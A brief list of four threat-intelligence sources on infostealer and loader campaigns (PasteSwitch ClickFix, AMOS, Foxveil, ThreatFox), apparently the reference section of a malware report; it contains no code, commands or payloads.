- Hudson Rock (infostealers.com): the PasteSwitch ClickFix operation
- Unit 42, 2026-09-16: Atomic macOS (AMOS) stealer activity
- Cato CTRL, 2026-02: Foxveil, a new malware loader abusing Cloudflare, Discord and Netlify (Windows loader; cited only for the naming caveat)
- abuse.ch ThreatFox

